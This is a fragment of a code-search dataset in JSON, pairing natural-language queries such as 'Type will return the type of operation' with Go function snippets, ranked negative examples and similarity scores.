{\\n\\t\\tlog.Println(\\\"Could not obtain entry.\\\")\\n\\t\\treturn errors.New(\\\"Could not obtain entry.\\\")\\n\\t}\\n\\terr = tb.write(keyIn, nil)\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"Could not write nil to entry for removal.\\\")\\n\\t\\treturn errors.New(\\\"Marking for removal failed.\\\")\\n\\t}\\n\\tentry.flags = flagDirty | flagRemove\\n\\treturn nil\\n}\",\n \"func (c FileCollector) Remove(k string) {\\n\\tif c.Has(k) {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (c *jsiiProxy_CfnLayer) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\\n\\t_jsii_.InvokeVoid(\\n\\t\\tc,\\n\\t\\t\\\"applyRemovalPolicy\\\",\\n\\t\\t[]interface{}{policy, options},\\n\\t)\\n}\",\n \"func (_m *requestHeaderMapUpdatable) Remove(name string) {\\n\\t_m.Called(name)\\n}\",\n \"func (r *Ring) Remove(ctx context.Context, value string) error {\\n\\tfor {\\n\\t\\tif err := ctx.Err(); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tresp, err := r.client.Get(ctx, path.Join(r.Name, value))\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif len(resp.Kvs) == 0 {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\tif string(resp.Kvs[0].Value) != r.backendID {\\n\\t\\t\\treturn ErrNotOwner\\n\\t\\t}\\n\\t\\tcmps, ops, err := r.getRemovalOps(ctx, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif len(ops) == 0 {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\t// Ensure the owner has not changed\\n\\t\\teqCmp := clientv3.Compare(clientv3.Value(path.Join(r.Name, value)), \\\"=\\\", r.backendID)\\n\\t\\t// Delete the ownership assertion\\n\\t\\tdelOp := clientv3.OpDelete(path.Join(r.Name, value))\\n\\t\\tops = append(ops, delOp)\\n\\t\\tcmps = append(cmps, eqCmp)\\n\\t\\tresponse, err := r.kv.Txn(ctx).If(cmps...).Then(ops...).Commit()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif response.Succeeded {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n}\",\n \"func (c *jsiiProxy_CfnRepository) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\\n\\t_jsii_.InvokeVoid(\\n\\t\\tc,\\n\\t\\t\\\"applyRemovalPolicy\\\",\\n\\t\\t[]interface{}{policy, options},\\n\\t)\\n}\",\n \"func (m BoolMemConcurrentMap) Remove(key string) {\\n\\t// Try to get shard.\\n\\tshard := m.getShard(key)\\n\\tshard.Lock()\\n\\tdelete(shard.items, key)\\n\\tshard.Unlock()\\n}\",\n \"func (c *TimeoutCache) removeElement(e *list.Element) {\\n\\tc.evictList.Remove(e)\\n\\tkv := e.Value.(*entry)\\n\\tdelete(c.items, kv.key)\\n}\",\n \"func (r *RecordCache) remove(response Response) {\\n\\tkey := response.FormatKey()\\n\\tLogger.Log(NewLogMessage(\\n\\t\\tDEBUG,\\n\\t\\tLogContext{\\n\\t\\t\\t\\\"what\\\": \\\"removing cache entry\\\",\\n\\t\\t\\t\\\"key\\\": key,\\n\\t\\t},\\n\\t\\tfunc() string { return fmt.Sprintf(\\\"resp [%v] cache [%v]\\\", response, r) },\\n\\t))\\n\\tdelete(r.cache, key)\\n\\tCacheSizeGauge.Set(float64(len(r.cache)))\\n}\",\n \"func (s *Service) RemoveEntry(entry ytfeed.Entry) error {\\n\\tif err := s.Store.ResetProcessed(entry); err != nil {\\n\\t\\treturn errors.Wrapf(err, \\\"failed to reset processed entry %s\\\", entry.VideoID)\\n\\t}\\n\\tif err := s.Store.Remove(entry); err != nil {\\n\\t\\treturn errors.Wrapf(err, \\\"failed to remove entry %s\\\", entry.VideoID)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *AliasCmd) handleRemove(args []string) error {\\n\\t// first element in the slice is the name of the command itself and always exists\\n\\tswitch len(args) {\\n\\tcase 1:\\n\\t\\t// we remove it for current entry\\n\\t\\tcurrentPub, currentProvPub := a.getCurrentRecipientKeys()\\n\\t\\tif currentPub != nil && currentProvPub != nil {\\n\\t\\t\\tgui.WriteNotice(\\\"removing alias for current recipient\\\\n\\\", a.g)\\n\\t\\t\\ta.store.RemoveAliasByKeys(currentPub, currentProvPub)\\n\\t\\t\\ta.session.UpdateAlias(\\\"\\\")\\n\\t\\t\\treturn nil\\n\\t\\t} else {\\n\\t\\t\\treturn ErrMalformedRecipient\\n\\t\\t}\\n\\tcase 2:\\n\\t\\tif args[1] == allModifier {\\n\\t\\t\\tgui.WriteNotice(\\\"removing ALL stored aliases\\\\n\\\", a.g)\\n\\t\\t\\ta.store.RemoveAllAliases()\\n\\t\\t\\ta.session.UpdateAlias(\\\"\\\")\\n\\t\\t\\treturn nil\\n\\t\\t} else {\\n\\t\\t\\treturn ErrInvalidArguments\\n\\t\\t}\\n\\tcase 3:\\n\\t\\ttargetKey, targetProvKey := a.getTargetKeysFromStrings(args[1], args[2])\\n\\t\\tif targetKey != nil && targetProvKey != nil {\\n\\t\\t\\tgui.WriteNotice(\\\"removing alias for the specified client...\\\\n\\\", a.g)\\n\\t\\t\\ta.store.RemoveAliasByKeys(targetKey, targetProvKey)\\n\\t\\t\\t// check if the target is not the same as current session recipient\\n\\t\\t\\tif bytes.Equal(targetKey.Bytes(), a.session.Recipient().PubKey) {\\n\\t\\t\\t\\ta.session.UpdateAlias(\\\"\\\")\\n\\t\\t\\t}\\n\\t\\t\\treturn nil\\n\\t\\t} else {\\n\\t\\t\\treturn ErrInvalidArguments\\n\\t\\t}\\n\\tdefault:\\n\\t\\treturn ErrInvalidArguments\\n\\t}\\n}\",\n \"func (r *Rack) Remove(tiles ...Tile) {\\n\\tfor _, t := range tiles {\\n\\t\\tfor i, rt := range *r {\\n\\t\\t\\tif rt == t {\\n\\t\\t\\t\\t*r = append((*r)[0:i], (*r)[i+1:]...)\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (c *Cache) removeElement(e *list.Element) {\\n\\tc.evictList.Remove(e)\\n}\",\n \"func (c *jsiiProxy_CfnRegistry) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\\n\\t_jsii_.InvokeVoid(\\n\\t\\tc,\\n\\t\\t\\\"applyRemovalPolicy\\\",\\n\\t\\t[]interface{}{policy, options},\\n\\t)\\n}\",\n \"func (b *CompactableBuffer) Remove(address *EntryAddress) error {\\n\\taddress.LockForWrite()\\n\\tdefer address.UnlockWrite()\\n\\tresult := b.removeWithoutLock(address)\\n\\treturn result\\n}\",\n \"func (ttlmap *TTLMap) Remove(key interface{}) {\\n\\tttlmap.eMutex.Lock()\\n\\tdefer ttlmap.eMutex.Unlock()\\n\\tdelete(ttlmap.entries, key)\\n\\n\\t// remember to clean up the schedule\\n\\tttlmap.clearSchedule(key)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.61998373","0.6139022","0.6055997","0.58907413","0.57393616","0.57043344","0.57022506","0.5476533","0.541743","0.54100955","0.5402497","0.53967893","0.5392479","0.53845805","0.5363437","0.53340185","0.53083384","0.5291283","0.52203333","0.52150726","0.52088714","0.5187291","0.5179542","0.5176508","0.5170255","0.5162624","0.5162021","0.5157217","0.5131768","0.51271594","0.512056","0.5113897","0.5109062","0.51041985","0.508178","0.5072388","0.5069425","0.5059304","0.505899","0.5058461","0.5052942","0.5047819","0.50474924","0.50304407","0.50268024","0.50234956","0.5019659","0.49954975","0.49954975","0.4986063","0.49858463","0.49768242","0.49731413","0.49678323","0.496497","0.4957073","0.4956046","0.4945844","0.49441954","0.49395323","0.49271116","0.49242824","0.49216247","0.49215674","0.49179476","0.49145985","0.49139777","0.49100253","0.4908925","0.4907184","0.49059412","0.49059412","0.48979095","0.48933965","0.4891374","0.48814362","0.48746917","0.4874416","0.4866416","0.48615107","0.4859573","0.48573565","0.48518655","0.48511374","0.48507154","0.48495346","0.48483813","0.48462677","0.48450798","0.4838491","0.48256323","0.48253337","0.4823162","0.48206326","0.48174852","0.48081985","0.48074555","0.48011872","0.47992322","0.47991708"],"string":"[\n \"0.61998373\",\n \"0.6139022\",\n \"0.6055997\",\n \"0.58907413\",\n \"0.57393616\",\n \"0.57043344\",\n \"0.57022506\",\n \"0.5476533\",\n \"0.541743\",\n \"0.54100955\",\n \"0.5402497\",\n \"0.53967893\",\n \"0.5392479\",\n \"0.53845805\",\n \"0.5363437\",\n \"0.53340185\",\n \"0.53083384\",\n \"0.5291283\",\n \"0.52203333\",\n \"0.52150726\",\n \"0.52088714\",\n \"0.5187291\",\n \"0.5179542\",\n \"0.5176508\",\n \"0.5170255\",\n \"0.5162624\",\n \"0.5162021\",\n \"0.5157217\",\n \"0.5131768\",\n \"0.51271594\",\n \"0.512056\",\n \"0.5113897\",\n \"0.5109062\",\n \"0.51041985\",\n \"0.508178\",\n \"0.5072388\",\n \"0.5069425\",\n \"0.5059304\",\n \"0.505899\",\n \"0.5058461\",\n \"0.5052942\",\n \"0.5047819\",\n \"0.50474924\",\n \"0.50304407\",\n \"0.50268024\",\n \"0.50234956\",\n \"0.5019659\",\n \"0.49954975\",\n \"0.49954975\",\n \"0.4986063\",\n \"0.49858463\",\n \"0.49768242\",\n \"0.49731413\",\n \"0.49678323\",\n \"0.496497\",\n \"0.4957073\",\n \"0.4956046\",\n \"0.4945844\",\n \"0.49441954\",\n \"0.49395323\",\n \"0.49271116\",\n \"0.49242824\",\n \"0.49216247\",\n \"0.49215674\",\n \"0.49179476\",\n \"0.49145985\",\n \"0.49139777\",\n \"0.49100253\",\n \"0.4908925\",\n \"0.4907184\",\n \"0.49059412\",\n \"0.49059412\",\n \"0.48979095\",\n \"0.48933965\",\n \"0.4891374\",\n \"0.48814362\",\n \"0.48746917\",\n \"0.4874416\",\n \"0.4866416\",\n \"0.48615107\",\n \"0.4859573\",\n \"0.48573565\",\n \"0.48518655\",\n \"0.48511374\",\n \"0.48507154\",\n \"0.48495346\",\n \"0.48483813\",\n \"0.48462677\",\n \"0.48450798\",\n \"0.4838491\",\n \"0.48256323\",\n \"0.48253337\",\n \"0.4823162\",\n \"0.48206326\",\n \"0.48174852\",\n \"0.48081985\",\n \"0.48074555\",\n \"0.48011872\",\n \"0.47992322\",\n \"0.47991708\"\n]"},"document_score":{"kind":"string","value":"0.81472254"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106171,"cells":{"query":{"kind":"string","value":"Type will return the type of operation"},"document":{"kind":"string","value":"func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}","func (op *OpAdd) Type() string {\n\treturn \"add\"\n}","func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}","func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}","func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}","func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}","func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}","func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}","func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}","func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}","func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}","func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}","func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}","func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}","func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}","func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}","func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}","func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}","func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}","func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}","func (*Int) GetOp() string { return \"Int\" }","func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}","func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}","func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }","func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}","func (s Spec) Type() string {\n\treturn \"exec\"\n}","func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}","func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}","func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (m *ToolMutation) Type() string {\n\treturn m.typ\n}","func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}","func (p RProc) Type() Type { return p.Value().Type() }","func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}","func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}","func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}","func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}","func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}","func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}","func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}","func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}","func (fn NoArgFunc) Type() Type { return fn.SQLType }","func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}","func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}","func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}","func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (op *OpMove) Type() string {\n\treturn \"move\"\n}","func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}","func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}","func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}","func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}","func (obj *standard) Operation() Operation {\n\treturn obj.op\n}","func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}","func (r *Reconciler) Type() string {\n\treturn Type\n}","func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}","func (m *SystemMutation) Type() string {\n\treturn m.typ\n}","func (f *Function) Type() ObjectType { return FUNCTION_OBJ }","func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}","func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}","func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}","func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}","func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}","func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}","func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}","func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}","func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}","func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}","func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}","func (Instr) Type() sql.Type { return sql.Int64 }","func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}","func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}","func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}","func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}","func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}","func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}","func (m *HexMutation) Type() string {\n\treturn m.typ\n}","func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}","func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}","func (m *StockMutation) Type() string {\n\treturn m.typ\n}","func (o *Function) Type() *Type {\n\treturn FunctionType\n}","func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}","func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}","func (e REnv) Type() Type { return e.Value().Type() }","func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}","func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}","func (c *Call) Type() Type {\n\treturn c.ExprType\n}","func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}","func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}","func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}"],"string":"[\n \"func (op *OperationProperty) Type() string {\\n\\treturn \\\"github.com/wunderkraut/radi-api/operation.Operation\\\"\\n}\",\n \"func (op *OpAdd) Type() string {\\n\\treturn \\\"add\\\"\\n}\",\n \"func (op *ConvertOperation) Type() OpType {\\n\\treturn TypeConvert\\n}\",\n \"func (op *TotalCommentRewardOperation) Type() OpType {\\n\\treturn TypeTotalCommentReward\\n}\",\n \"func (m *EqOp) Type() string {\\n\\treturn \\\"EqOp\\\"\\n}\",\n \"func (op *CommitteePayRequestOperation) Type() OpType {\\n\\treturn TypeCommitteePayRequest\\n}\",\n \"func (op *ProducerRewardOperationOperation) Type() OpType {\\n\\treturn TypeProducerRewardOperation\\n}\",\n \"func (op *TransitToCyberwayOperation) Type() OpType {\\n\\treturn TypeTransitToCyberway\\n}\",\n \"func (op *AuthorRewardOperation) Type() OpType {\\n\\treturn TypeAuthorReward\\n}\",\n \"func (m *StartsWithCompareOperation) Type() string {\\n\\treturn \\\"StartsWithCompareOperation\\\"\\n}\",\n \"func (op *OpFlatten) Type() string {\\n\\treturn \\\"flatten\\\"\\n}\",\n \"func (op *ProposalCreateOperation) Type() OpType {\\n\\treturn TypeProposalCreate\\n}\",\n \"func (m *IPInRangeCompareOperation) Type() string {\\n\\treturn \\\"IpInRangeCompareOperation\\\"\\n}\",\n \"func (m *OperativeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func getOperationType(op iop.OperationInput) (operationType, error) {\\n\\thasAccount := op.Account != nil\\n\\thasTransaction := op.Transaction != nil\\n\\tif hasAccount == hasTransaction {\\n\\t\\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \\\"account\\\" or \\\"transaction\\\" fields set`)\\n\\t}\\n\\tif hasAccount {\\n\\t\\treturn operationTypeCreateAccount, nil\\n\\t}\\n\\treturn operationTypePerformTransaction, nil\\n}\",\n \"func (m *DirectoryAudit) GetOperationType()(*string) {\\n return m.operationType\\n}\",\n \"func (op *FillVestingWithdrawOperation) Type() OpType {\\n\\treturn TypeFillVestingWithdraw\\n}\",\n \"func (d *DarwinKeyOperation) Type() string {\\n\\treturn d.KeyType\\n}\",\n \"func (op *ClaimRewardBalanceOperation) Type() OpType {\\n\\treturn TypeClaimRewardBalance\\n}\",\n \"func (m *OperativerecordMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (*Int) GetOp() string { return \\\"Int\\\" }\",\n \"func (m *UnaryOperatorOrd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ResetAccountOperation) Type() OpType {\\n\\treturn TypeResetAccount\\n}\",\n \"func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }\",\n \"func (r *RegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (b *BitOp) Type() sql.Type {\\n\\trTyp := b.Right.Type()\\n\\tif types.IsDeferredType(rTyp) {\\n\\t\\treturn rTyp\\n\\t}\\n\\tlTyp := b.Left.Type()\\n\\tif types.IsDeferredType(lTyp) {\\n\\t\\treturn lTyp\\n\\t}\\n\\n\\tif types.IsText(lTyp) || types.IsText(rTyp) {\\n\\t\\treturn types.Float64\\n\\t}\\n\\n\\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\\n\\t\\treturn types.Uint64\\n\\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\\n\\t\\treturn types.Int64\\n\\t}\\n\\n\\treturn types.Float64\\n}\",\n \"func (s Spec) Type() string {\\n\\treturn \\\"exec\\\"\\n}\",\n \"func (op *RecoverAccountOperation) Type() OpType {\\n\\treturn TypeRecoverAccount\\n}\",\n \"func (m *UnaryOperatorLen) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (m *ToolMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (cmd Command) Type() string {\\n\\treturn cmd.MessageType\\n}\",\n \"func (p RProc) Type() Type { return p.Value().Type() }\",\n \"func (r *Rdispatch) Type() int8 {\\n\\treturn RdispatchTpe\\n}\",\n \"func (m *BinaryOperatorMod) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ReportOverProductionOperation) Type() OpType {\\n\\treturn TypeReportOverProduction\\n}\",\n \"func (e *CustomExecutor) GetType() int {\\n\\treturn model.CommandTypeCustom\\n}\",\n \"func (m *BinaryOperatorAdd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (n *NotRegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (e *EqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (expr *ExprXor) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (fn *Function) Type() ObjectType {\\n\\treturn ObjectTypeFunction\\n}\",\n \"func (m *UnaryOperatorNegate) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (fn NoArgFunc) Type() Type { return fn.SQLType }\",\n \"func (e *ExprXor) Type() types.Type {\\n\\treturn e.X.Type()\\n}\",\n \"func (m *BinaryOperatorDiv) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (f *FunctionLike) Type() string {\\n\\tif f.macro {\\n\\t\\treturn \\\"macro\\\"\\n\\t}\\n\\treturn \\\"function\\\"\\n}\",\n \"func (l *LessEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (op *OpMove) Type() string {\\n\\treturn \\\"move\\\"\\n}\",\n \"func (execution *Execution) GetType() (execType string) {\\n\\tswitch strings.ToLower(execution.Type) {\\n\\tcase \\\"\\\":\\n\\t\\tfallthrough\\n\\tcase \\\"local\\\":\\n\\t\\texecType = \\\"local\\\"\\n\\tcase \\\"remote\\\":\\n\\t\\texecType = \\\"remote\\\"\\n\\tdefault:\\n\\t\\tpanic(execution)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (g *generator) customOperationType() error {\\n\\top := g.aux.customOp\\n\\tif op == nil {\\n\\t\\treturn nil\\n\\t}\\n\\topName := op.message.GetName()\\n\\n\\tptyp, err := g.customOpPointerType()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tp := g.printf\\n\\n\\tp(\\\"// %s represents a long running operation for this API.\\\", opName)\\n\\tp(\\\"type %s struct {\\\", opName)\\n\\tp(\\\" proto %s\\\", ptyp)\\n\\tp(\\\"}\\\")\\n\\tp(\\\"\\\")\\n\\tp(\\\"// Proto returns the raw type this wraps.\\\")\\n\\tp(\\\"func (o *%s) Proto() %s {\\\", opName, ptyp)\\n\\tp(\\\" return o.proto\\\")\\n\\tp(\\\"}\\\")\\n\\n\\treturn nil\\n}\",\n \"func (m *BinaryOperatorBitOr) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (i *InOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\\n return m.operationType\\n}\",\n \"func (obj *standard) Operation() Operation {\\n\\treturn obj.op\\n}\",\n \"func (f *Function) Type() ObjectType {\\n\\treturn FUNCTION\\n}\",\n \"func (r *Reconciler) Type() string {\\n\\treturn Type\\n}\",\n \"func (f *Filter) GetType() FilterOperator {\\n\\treturn f.operator\\n}\",\n \"func (m *SystemMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (f *Function) Type() ObjectType { return FUNCTION_OBJ }\",\n \"func (r ExecuteServiceRequest) Type() RequestType {\\n\\treturn Execute\\n}\",\n \"func (m *BinaryOperatorOr) Type() Type {\\n\\treturn BoolType{}\\n}\",\n \"func (l *LikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\\n\\treturn myOperatingSystemType.Typevar\\n}\",\n \"func (m *OrderproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorMult) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (p *createPlan) Type() string {\\n\\treturn \\\"CREATE\\\"\\n}\",\n \"func (m *CarserviceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *CarCheckInOutMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *OpRetain) Type() string {\\n\\treturn \\\"retain\\\"\\n}\",\n \"func (m *OrderonlineMutation) Type() string 